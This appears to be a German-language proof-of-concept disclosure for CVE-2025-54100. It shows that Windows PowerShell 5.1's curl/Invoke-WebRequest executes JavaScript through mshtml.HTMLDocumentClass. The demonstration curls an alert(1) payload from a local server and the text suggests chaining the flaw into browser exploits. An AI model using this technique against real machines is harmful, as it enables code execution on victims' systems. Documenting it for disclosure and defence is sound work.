
Proof-of-concept für CVE-2025-54100: XSS in PowerShell's Invoke-WebRequest über mshtml.HTMLDocumentClass, ermöglicht Remotecodeausführung beim Curlen von bösartigem JavaScript.
Powershells curl verwendet intern Invoke-WebRequest.
PS C:\Users\melih> curl
cmdlet Invoke-WebRequest at command pipeline position 1
Supply values for the following parameters:
Uri:
Betrachtet man die Dokumentation des Parameters UseBasicParsing,
Dieser Parameter ist veraltet. Ab PowerShell 6.0.0 verwenden alle Webanforderungen nur noch die grundlegende Analyse. Dieser Parameter ist nur aus Gründen der Abwärtskompatibilität enthalten und seine Verwendung hat keine Auswirkungen auf den Betrieb des Cmdlets.
Das Problem liegt im Parameter UseBasicParsing des Cmdlets Invoke-WebRequest von Powershell. UseBasicParsing verwendet die grundlegende Analyse, es wertet keinen JavaScript-Code aus. Es liest lediglich den Text und analysiert ihn.
Wenn dieser Parameter nicht angegeben wird, startet Invoke-WebRequest intern den Internet Explorer und versucht, den HTML-Code zu analysieren, indem er ihn tatsächlich auswertet, unter Verwendung von mshtml.HTMLDocumentClass. Die Durchführung einer curl-Anfrage an eine Website, die einen JavaScript-Code hostet, führt zur Codeausführung im Browser des Clients, was in unserem Fall das Windows-Terminal ist.
Die Dokumentation zu mshtml.HTMLDocumentClass finden Sie unten.
https://learn.microsoft.com/en-us/dotnet/api/system.windows.forms.htmldocument
Betrachtet man den Lebenszyklus aus dem ersten Dokument oben, sieht man Folgendes:
Windows PowerShell 5.1 Aug-2016 Veröffentlicht im Windows 10 Anniversary Update und Windows Server 2016, WMF 5.1 PowerShell 6.0 20-Jan-2018 13-Feb-2019 Erstellt auf .NET Core 2.0 (https://github.com/dotnet/core/blob/main/release-notes/2.0/2.0-supported-os.md)
Nach einigen Untersuchungen stellten wir fest, dass die neuesten Versionen von Windows 11, Server 22 und 25 mit einer alten Version von PowerShell (5.1, und sie ist standardmäßig) ausgeliefert werden, die anfällig für XSS-Angriffe ist.
Frische Windows Server 22 Installation,

Der Angriff ist sehr einfach:
curl darauf aus und Sie sehen die Ausführung.
PS C:\Users\melih> curl 172.27.223.167:8000/a.js
StatusCode : 200
StatusDescription : OK
Content : <script>alert(1)</script>
RawContent : HTTP/1.0 200 OK
Content-Length: 26
Content-Type: text/javascript
Date: Tue, 09 Dec 2025 15:50:40 GMT
Last-Modified: Tue, 09 Dec 2025 15:47:18 GMT
Server: SimpleHTTP/0.6 Python/3.12.3
<script>a...
Forms : {}
Headers : {[Content-Length, 26], [Content-Type, text/javascript], [Date, Tue, 09 Dec
2025 15:50:40 GMT], [Last-Modified, Tue, 09 Dec 2025 15:47:18 GMT]...}
Images : {}
InputFields : {}
Links : {}
ParsedHtml : mshtml.HTMLDocumentClass
RawContentLength : 26
Sie können kreativ werden und Dinge wie open("about:blank") ausführen.

Man muss auch bedenken, dass dies in größeren Ketten wie Browser-Exploits verwendet werden könnte, um eine zuverlässige Ausführung zu erreichen oder das Browser-Rendering zu erzwingen.
Severity: Important, Security Impact: Remote Code Execution eingestuft und mit einer Prämie von $5.000 ausgezeichnet.